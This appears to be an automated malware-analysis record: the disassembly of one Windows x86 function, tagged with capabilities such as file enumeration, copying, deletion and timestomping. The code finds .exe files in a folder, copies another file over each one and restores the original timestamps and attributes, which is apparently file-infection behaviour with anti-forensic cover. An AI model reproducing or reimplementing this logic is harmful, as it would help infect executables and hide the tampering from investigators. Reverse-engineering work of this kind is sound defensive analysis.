Function at 0x4036c5
Capabilities:
Copy file
Delete file
Enumerate files on windows
Get file attributes
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c4
push ebx
push esi
push edi
xor esi, esi
push 0x104
lea eax, [ebp - 0x384]
push esi
push eax
mov dword [ebp - 4], esi
call fcn.00403df0
push dword [ebp + 8]
lea eax, [ebp - 0x384]
push eax
call fcn.00404350
lea eax, [ebp - 0x384]
push str..exe
push eax
call fcn.00404350
add esp, 0x1c
lea eax, [ebp - 0x4c4]
push eax
lea eax, [ebp - 0x384]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x4039a6
mov ebx, 0x40e07c
jmp 0x403734
xor esi, esi
cmp dword [ebp - 4], esi
jne 0x40373e
call fcn.00403a72
cmp dword [ebp - 4], 0xa
jl 0x403752
call fcn.00403a72
mov dword [ebp - 4], 1
jmp 0x403755
inc dword [ebp - 4]
push 0x104
lea eax, [ebp - 0x154]
push esi
push eax
call fcn.00403df0
push dword [ebp + 8]
lea eax, [ebp - 0x154]
push eax
call fcn.00404350
lea eax, [ebp - 0x154]
push 0x40d10c
push eax
call fcn.00404350
lea eax, [ebp - 0x498]
push eax
lea eax, [ebp - 0x154]
push eax
call fcn.00404350
add esp, 0x24
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x154]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x50]
push 0xc0000000
push eax
lea eax, [ebp - 0x154]
push eax
call fcn.004039ad
test eax, eax
je 0x403985
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
neg eax
sbb eax, eax
neg eax
cmp dword [ebp - 0x50], esi
mov dword [ebp - 0xc], eax
je 0x403867
cmp word [ebp - 0x30], 0xa
jae 0x403859
sub esp, 0x28
lea esi, [ebp - 0x50]
push 0xa
pop ecx
mov edi, esp
push ebx
rep movsd dword es:[edi], dword [esi]
call fcn.00401f75
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x2c], 0
lea eax, [ebp - 0x154]
push 0
push eax
push ebx
call esi
test eax, eax
jne 0x40386d
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x154]
push 0
push eax
push ebx
call esi
test eax, eax
je 0x403985
jmp 0x40386d
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403985
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp dword [ebp - 0x2c], 0
je 0x40387c
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x12c
lea eax, [ebp - 0x280]
push 0
push eax
call fcn.00403df0
lea eax, [ebp - 0x280]
push 0x40d320
push eax
call fcn.00404350
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x280]
push eax
call fcn.00404350
mov edi, 0x40d0b8
lea eax, [ebp - 0x280]
push edi
push eax
call fcn.00404350
lea eax, [ebp - 0x280]
push ebx
push eax
call fcn.00404350
lea eax, [ebp - 0x280]
push edi
push eax
call fcn.00404350
add esp, 0x34
lea eax, [ebp - 0x154]
push ebx
push eax
call fcn.004019ea
xor edi, edi
lea eax, [ebp - 0x154]
push edi
push eax
push ebx
call esi
test eax, eax
jne 0x40391a
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x154]
push edi
push eax
push ebx
call esi
test eax, eax
je 0x403985
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0xc], edi
je 0x403964
push edi
push 0x80
push 3
push edi
push 1
lea eax, [ebp - 0x154]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x403964
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
inc dword [0x40e074]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x4c4]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403732
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret 4